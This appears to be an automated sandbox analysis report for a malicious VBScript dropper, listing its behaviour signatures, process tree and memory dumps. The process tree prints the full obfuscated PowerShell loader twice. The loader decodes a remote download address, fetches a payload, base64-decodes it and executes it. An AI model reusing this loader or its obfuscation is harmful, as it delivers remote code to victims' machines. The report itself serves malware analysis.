Analysis
- max time kernel
93s - max time network
113s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
17/04/2024, 08:26
General
- Target PonudaSKMTBH365756867868855766786686.vbs
- Size 16KB
- Sample240417-kbvbysbd4z
- SHA256 b300e18bf2da85f573018efd066241135b68e8097fedf22160cdf9c1eafd47dc
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PonudaSKMTBH365756867868855766786686.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Pappea = 1;$Moodle='Substrin';$Moodle+='g';Function Enactor($Specialeffekterne){$Tilknyttendeschthyolatry=$Specialeffekterne.Length-$Pappea;For($Tilknyttendes=4; $Tilknyttendes -lt $Tilknyttendeschthyolatry; $Tilknyttendes+=(5)){$Respondence+=$Specialeffekterne.$Moodle.Invoke($Tilknyttendes, $Pappea);}$Respondence;}function Hauling($Kvarternes){. ($Forlngerledningens) ($Kvarternes);}$Uncaste132=Enactor ' C,nM T.po BahzTromiHun,lFestlBietaFili/Smyk5Bedu.B.se0D ft Anse(PeuhWA,rdiIncen RhidD kooSmkrwDistsThe OmlsNHedoTArbe Unur1 Jim0Blkk.J.rd0 Ski;,hok EfteWAtomiHovenThin6disc4Raba;m.ct Af,axEman6P ra4Bffe; Whi Getfr FluvYell:home1Beth2Nonm1 A k.Arbe0Ryge)calc Str GSupeegrancpollkGruboLev./ko d2Bol.0Lath1Raim0Bagl0bekr1 Se 0Udfy1Loss KognF,eifiKebbrNarke .ypfOpuno ,pdx Udt/Selv1Tis.2 Fre1D.gt.Bun,0 Abo ';$Tannide=Enactor ' FibUGharsBremeBeaur Reg-DrueAheteg O,te.ngan rgot,ege ';$Undersold=Enactor 'R,vih SymtHvidt abupReco:Diaz/ alc/Chat8 pfi7Ad s..nde1Sub.2Neur1 epi. Pi.1 Buz0unja5Klen.R.gb1Ra,e6 Eth3 ,il/ S leFi.liFlyvv GuliBi,enDemosDelb. Bedl UdrpEl,rki,kl ';$Jaevnbyrdig=Enactor ' Ro >Soa, ';$Forlngerledningens=Enactor 'AlgaiAfdee Ar.xflot ';$oversimplify = Enactor 'BalieAp,lcVenthKommoAf.l Kup,% atiaDribpBaw p uvedSkytaFusktUndea Mon%Indb\HawaN ondoConccB notReg.uAfnarNatinIncradinelMort.WhorIW.ken F ds Ung Kom&Sump&Flip Vu,ae C,mcK,mmhFulfopred udp $Laed ';Hauling (Enactor 'nick$styrgAlmilCarpofo.ib PanaSunslRist:L.udTRecaa Mans UdstMeniacentb E.glBun.e,ncu1 Vrd1sjof9hous=Sev.(HeptcCarnmMededSnig Hkke/Forucnske Ress$,naeoStanvCarre UndrModesNeuri BiomB,dspJavalEldriF rvfSinuy int)Unbl ');Hauling (Enactor ' cox$blddgBronlRettoJoewb lskaI telTeks: KomFEnero.onar FlapStanrValuedsramSailiSedeeT.lsrhndeeFugl= For$Ma.aU .aknDa ndFemieO.ycrWatcs dogo Uppl BagdChlo.U,dss te.p,kemlDdbiicr ftRing(beba$ SkiJGurga FemeKompvBry.nFencb Y,ky ,ntrDozidExpeiNoctg D o)Scio ');$Undersold=$Forpremiere[0];Hauling (Enactor '.rig$DistgAn ilTvisoKalkb IndaBiselLeea:LeagPHje rTette,rvep ,aiuIl.unKlovcTi.khStapepored B,n=Pla.NFor ePotewNon.-LinoO Prob ResjNo,ceBaffcln,ptSowt CumeSKb,vy RemsSt.etNejseNaevmCamp. DogNOmdoe.ondt Be..KursW KiseSnoobStrmCIdeolCeleiTi.ce StinVesttZira ');Hauling (Enactor 'Trem$ UsiPManurFattebrstpMiniu thenUbunc ParhDebieMegidEk.e.Kon,H ArieKnebaFo.ed esieInddrYaposJe.p[Hom $FlyvTBobla RafnArc.nC,nfiTe.cdLapse Mac]gesa=Hort$Ra.iU N,tnSadecFo,faBetasSig,t,live el1Phot3Bret2Eggs ');$Romanceless=Enactor 'UdraPBeh,rstraeChrepKarauP.ejnParlcSclehSagseRoc dMor,. SupDDk,aoAftewKmpvn F,rl,vaco F,rasupedPa aFMariiHomolTopsecol.(Metr$A biUTitanTrredInveeMissrrrdrsN.nooUndilRbdidDefo,.hoo$ UgeRStereDietaS.shlAfsprSchieContn Br.tfli,eP yl)Tilr ';$Romanceless=$Tastable119[1]+$Romanceless;$Realrente=$Tastable119[0];Hauling (Enactor ' Ung$baltgCle.lFa.uoD pibQuada R nlTe e:DisrU.orudUn,ttPropyRetedForsestatnSelvd S reUddasGens=Cant(LudiTG nneSer,sEddet Ur -FacaPSalta,audt PhyhF gg Tjte$ Un RFrakeM,llaBr.dlAn lrScaleTontn UnbtPedaeHipp)Edi, ');while (!$Udtydendes) {Hauling (Enactor 'Inva$ghosg GenlHeadoHopkbFas aRad.lArbe:AnteSKl.bt Sk.i Fo.gVersbPrisjIntelFl ee FlanEqui=Joaq$CondtKoldrS.tuuS,rneEmba ') ;Hauling $Romanceless;Hauling (Enactor 'EndaSforntMngdaquadr Tw.tMass-re,sS MuclBud ePro,ekarrpFj,m Prog4Grun ');Hauling (Enactor ' Ref$Su,egk,mul.oeroM subB rgaTurklDr,v:In.lUKnubdrenttu,liypat,dDyreeWaten p ud,pece.atlsFast=Dime( ScrTMi.ueForfsTi,st ank-BarrP balaDgn,tB,sihSpac Bed,$ToucRUnlieSic aNepolf dnrblueeStren instwilde Ven)J,sm ') ;Hauling (Enactor 'Kuld$Misug nslSlvsoIndebHjeratimolUnsp:Rin.UTeksnKondrteg,i,unkgBlg.gKniveGiredUng.=Euro$ lyvgHypolsulpoMandbSatoaForulRedo: Fu MKursd b,kekultaWit,fSp.tt T ieI.danBlineUndenP.et+Supr+Mens%Sort$ ChrF Mu.oMicrrCa,bp Sp rMatueRatim yrei V,neSlutrRi eedu,u.IntecBitto avou G ln ClitPenm ') ;$Undersold=$Forpremiere[$Unrigged];}Hauling (Enactor ' Sea$,ogig Cabl KupoU,nibUn,eaGaldl Und:Fas.hDysleVgtsl UndvDattiSocig Rut Gasb=trac rei GOmdieCalotkvot-VattC StaoTrignAntitBogfeBenenRivetStos Vent$DekoRRvereNervaCo fl.ngerBdkeeVietnB,ketstopeBlas ');Hauling (Enactor ',rec$Ammog Ek lArbeoMeisbFo marefolTi s:Pbe.SFol.t Ek,aLovmnConvcNoneh Hone.ennlAtom1L,ns8Damp5Phon Chem=bjer nd[S.blSKnityBiogsC rat Mane .ntmDip,.TommCDataoTwelnErh.vTr.me Ek.rRibrtHand]Faku:Repr:HaliFfr.sr ConoOv rmAmfiBStyra ves.ellePuno6 Ud,4HonoSMoott BilrAdiai FornPuffg,ign(Ends$Ud oh Pr,eRimelChefvSt,miBerzgBars)Mi,d ');Hauling (Enactor 'Oari$ SmugMikkltuboo ,orb .dea AnglTved:unchA SnonSklhtHarpiFiffhtopmuAflemJe,m Hel =u,ob Hjer[N niSExpeyBrnesKalktmar.eA somunde.NonhTBer,e Resx amstSmi,.DevoEFormnG,uncReleoIndfdX noiCrosn SlugGr d]Subk:L.mb:BedvAbaptSSpooCVei,ISam.IWhic.FeltGKnuceT emt.umaS SlatDeserSeptibucknGrungHalv(Smaa$Gal,SAmtst hya Andn ftecvugghSteteV,ttl Upa1Udda8Geo 5Sve,) uld ');Hauling (Enactor 'Tent$WeltgRvhulB.ado Pegbpla,aBarkl orr:SpruPLun,e Excl F,glEnchaGradgInexr Semo GaauDuppsNonm=Poon$UndeA ictnKn,et,olei StehPaliuShiemStbe.EfflsFlsku BalbXylos sprtIndsrT.lei Frynclosgpref(Idrt3 ,ur4Inf 3Perc4 ela9Dile1Mapl, Dr 2 efr7Ni,u8,nin8Iber0 Bus)U,de ');Hauling $Pellagrous;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nocturnal.Ins && echo $"3⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Pappea = 1;$Moodle='Substrin';$Moodle+='g';Function Enactor($Specialeffekterne){$Tilknyttendeschthyolatry=$Specialeffekterne.Length-$Pappea;For($Tilknyttendes=4; $Tilknyttendes -lt $Tilknyttendeschthyolatry; $Tilknyttendes+=(5)){$Respondence+=$Specialeffekterne.$Moodle.Invoke($Tilknyttendes, $Pappea);}$Respondence;}function Hauling($Kvarternes){. ($Forlngerledningens) ($Kvarternes);}$Uncaste132=Enactor ' C,nM T.po BahzTromiHun,lFestlBietaFili/Smyk5Bedu.B.se0D ft Anse(PeuhWA,rdiIncen RhidD kooSmkrwDistsThe OmlsNHedoTArbe Unur1 Jim0Blkk.J.rd0 Ski;,hok EfteWAtomiHovenThin6disc4Raba;m.ct Af,axEman6P ra4Bffe; Whi Getfr FluvYell:home1Beth2Nonm1 A k.Arbe0Ryge)calc Str GSupeegrancpollkGruboLev./ko d2Bol.0Lath1Raim0Bagl0bekr1 Se 0Udfy1Loss KognF,eifiKebbrNarke .ypfOpuno ,pdx Udt/Selv1Tis.2 Fre1D.gt.Bun,0 Abo ';$Tannide=Enactor ' FibUGharsBremeBeaur Reg-DrueAheteg O,te.ngan rgot,ege ';$Undersold=Enactor 'R,vih SymtHvidt abupReco:Diaz/ alc/Chat8 pfi7Ad s..nde1Sub.2Neur1 epi. Pi.1 Buz0unja5Klen.R.gb1Ra,e6 Eth3 ,il/ S leFi.liFlyvv GuliBi,enDemosDelb. Bedl UdrpEl,rki,kl ';$Jaevnbyrdig=Enactor ' Ro >Soa, ';$Forlngerledningens=Enactor 'AlgaiAfdee Ar.xflot ';$oversimplify = Enactor 'BalieAp,lcVenthKommoAf.l Kup,% atiaDribpBaw p uvedSkytaFusktUndea Mon%Indb\HawaN ondoConccB notReg.uAfnarNatinIncradinelMort.WhorIW.ken F ds Ung Kom&Sump&Flip Vu,ae C,mcK,mmhFulfopred udp $Laed ';Hauling (Enactor 'nick$styrgAlmilCarpofo.ib PanaSunslRist:L.udTRecaa Mans UdstMeniacentb E.glBun.e,ncu1 Vrd1sjof9hous=Sev.(HeptcCarnmMededSnig Hkke/Forucnske Ress$,naeoStanvCarre UndrModesNeuri BiomB,dspJavalEldriF rvfSinuy int)Unbl ');Hauling (Enactor ' cox$blddgBronlRettoJoewb lskaI telTeks: KomFEnero.onar FlapStanrValuedsramSailiSedeeT.lsrhndeeFugl= For$Ma.aU .aknDa ndFemieO.ycrWatcs dogo Uppl BagdChlo.U,dss te.p,kemlDdbiicr ftRing(beba$ SkiJGurga FemeKompvBry.nFencb Y,ky ,ntrDozidExpeiNoctg D o)Scio ');$Undersold=$Forpremiere[0];Hauling (Enactor '.rig$DistgAn ilTvisoKalkb IndaBiselLeea:LeagPHje rTette,rvep ,aiuIl.unKlovcTi.khStapepored B,n=Pla.NFor ePotewNon.-LinoO Prob ResjNo,ceBaffcln,ptSowt CumeSKb,vy RemsSt.etNejseNaevmCamp. DogNOmdoe.ondt Be..KursW KiseSnoobStrmCIdeolCeleiTi.ce StinVesttZira ');Hauling (Enactor 'Trem$ UsiPManurFattebrstpMiniu thenUbunc ParhDebieMegidEk.e.Kon,H ArieKnebaFo.ed esieInddrYaposJe.p[Hom $FlyvTBobla RafnArc.nC,nfiTe.cdLapse Mac]gesa=Hort$Ra.iU N,tnSadecFo,faBetasSig,t,live el1Phot3Bret2Eggs ');$Romanceless=Enactor 'UdraPBeh,rstraeChrepKarauP.ejnParlcSclehSagseRoc dMor,. SupDDk,aoAftewKmpvn F,rl,vaco F,rasupedPa aFMariiHomolTopsecol.(Metr$A biUTitanTrredInveeMissrrrdrsN.nooUndilRbdidDefo,.hoo$ UgeRStereDietaS.shlAfsprSchieContn Br.tfli,eP yl)Tilr ';$Romanceless=$Tastable119[1]+$Romanceless;$Realrente=$Tastable119[0];Hauling (Enactor ' Ung$baltgCle.lFa.uoD pibQuada R nlTe e:DisrU.orudUn,ttPropyRetedForsestatnSelvd S reUddasGens=Cant(LudiTG nneSer,sEddet Ur -FacaPSalta,audt PhyhF gg Tjte$ Un RFrakeM,llaBr.dlAn lrScaleTontn UnbtPedaeHipp)Edi, ');while (!$Udtydendes) {Hauling (Enactor 'Inva$ghosg GenlHeadoHopkbFas aRad.lArbe:AnteSKl.bt Sk.i Fo.gVersbPrisjIntelFl ee FlanEqui=Joaq$CondtKoldrS.tuuS,rneEmba ') ;Hauling $Romanceless;Hauling (Enactor 'EndaSforntMngdaquadr Tw.tMass-re,sS MuclBud ePro,ekarrpFj,m Prog4Grun ');Hauling (Enactor ' Ref$Su,egk,mul.oeroM subB rgaTurklDr,v:In.lUKnubdrenttu,liypat,dDyreeWaten p ud,pece.atlsFast=Dime( ScrTMi.ueForfsTi,st ank-BarrP balaDgn,tB,sihSpac Bed,$ToucRUnlieSic aNepolf dnrblueeStren instwilde Ven)J,sm ') ;Hauling (Enactor 'Kuld$Misug nslSlvsoIndebHjeratimolUnsp:Rin.UTeksnKondrteg,i,unkgBlg.gKniveGiredUng.=Euro$ lyvgHypolsulpoMandbSatoaForulRedo: Fu MKursd b,kekultaWit,fSp.tt T ieI.danBlineUndenP.et+Supr+Mens%Sort$ ChrF Mu.oMicrrCa,bp Sp rMatueRatim yrei V,neSlutrRi eedu,u.IntecBitto avou G ln ClitPenm ') ;$Undersold=$Forpremiere[$Unrigged];}Hauling (Enactor ' Sea$,ogig Cabl KupoU,nibUn,eaGaldl Und:Fas.hDysleVgtsl UndvDattiSocig Rut Gasb=trac rei GOmdieCalotkvot-VattC StaoTrignAntitBogfeBenenRivetStos Vent$DekoRRvereNervaCo fl.ngerBdkeeVietnB,ketstopeBlas ');Hauling (Enactor ',rec$Ammog Ek lArbeoMeisbFo marefolTi s:Pbe.SFol.t Ek,aLovmnConvcNoneh Hone.ennlAtom1L,ns8Damp5Phon Chem=bjer nd[S.blSKnityBiogsC rat Mane .ntmDip,.TommCDataoTwelnErh.vTr.me Ek.rRibrtHand]Faku:Repr:HaliFfr.sr ConoOv rmAmfiBStyra ves.ellePuno6 Ud,4HonoSMoott BilrAdiai FornPuffg,ign(Ends$Ud oh Pr,eRimelChefvSt,miBerzgBars)Mi,d ');Hauling (Enactor 'Oari$ SmugMikkltuboo ,orb .dea AnglTved:unchA SnonSklhtHarpiFiffhtopmuAflemJe,m Hel =u,ob Hjer[N niSExpeyBrnesKalktmar.eA somunde.NonhTBer,e Resx amstSmi,.DevoEFormnG,uncReleoIndfdX noiCrosn SlugGr d]Subk:L.mb:BedvAbaptSSpooCVei,ISam.IWhic.FeltGKnuceT emt.umaS SlatDeserSeptibucknGrungHalv(Smaa$Gal,SAmtst hya Andn ftecvugghSteteV,ttl Upa1Udda8Geo 5Sve,) uld ');Hauling (Enactor 'Tent$WeltgRvhulB.ado Pegbpla,aBarkl orr:SpruPLun,e Excl F,glEnchaGradgInexr Semo GaauDuppsNonm=Poon$UndeA ictnKn,et,olei StehPaliuShiemStbe.EfflsFlsku BalbXylos sprtIndsrT.lei Frynclosgpref(Idrt3 ,ur4Inf 3Perc4 ela9Dile1Mapl, Dr 2 efr7Ni,u8,nin8Iber0 Bus)U,de ');Hauling $Pellagrous;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Nocturnal.Ins && echo $"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3788 -s 21524⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3788 -ip 37881⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_bnkvkjoj.0q4.ps1
Nocturnal.Ins
memory/3788-22-0x0000000005F10000-0x0000000005F76000-memory.dmp
memory/3788-32-0x0000000005F80000-0x00000000062D4000-memory.dmp
memory/3788-41-0x0000000075350000-0x0000000075B00000-memory.dmp
memory/3788-39-0x0000000008A70000-0x0000000009014000-memory.dmp
memory/3788-17-0x0000000075350000-0x0000000075B00000-memory.dmp
memory/3788-18-0x00000000051C0000-0x00000000051D0000-memory.dmp
memory/3788-16-0x0000000004FD0000-0x0000000005006000-memory.dmp
memory/3788-19-0x0000000005800000-0x0000000005E28000-memory.dmp
memory/3788-20-0x00000000056A0000-0x00000000056C2000-memory.dmp
memory/3788-33-0x0000000006560000-0x000000000657E000-memory.dmp
memory/3788-38-0x00000000077D0000-0x00000000077F2000-memory.dmp
memory/3788-37-0x0000000007870000-0x0000000007906000-memory.dmp
memory/3788-21-0x0000000005EA0000-0x0000000005F06000-memory.dmp
memory/3788-34-0x0000000006600000-0x000000000664C000-memory.dmp
memory/3788-35-0x0000000007E40000-0x00000000084BA000-memory.dmp
memory/3788-36-0x0000000006AF0000-0x0000000006B0A000-memory.dmp
memory/4364-0-0x0000021EE3210000-0x0000021EE3232000-memory.dmp
memory/4364-10-0x00007FFF40030000-0x00007FFF40AF1000-memory.dmp
memory/4364-15-0x0000021ECA320000-0x0000021ECA330000-memory.dmp
memory/4364-11-0x0000021ECA320000-0x0000021ECA330000-memory.dmp
memory/4364-12-0x0000021ECA320000-0x0000021ECA330000-memory.dmp
memory/4364-44-0x00007FFF40030000-0x00007FFF40AF1000-memory.dmp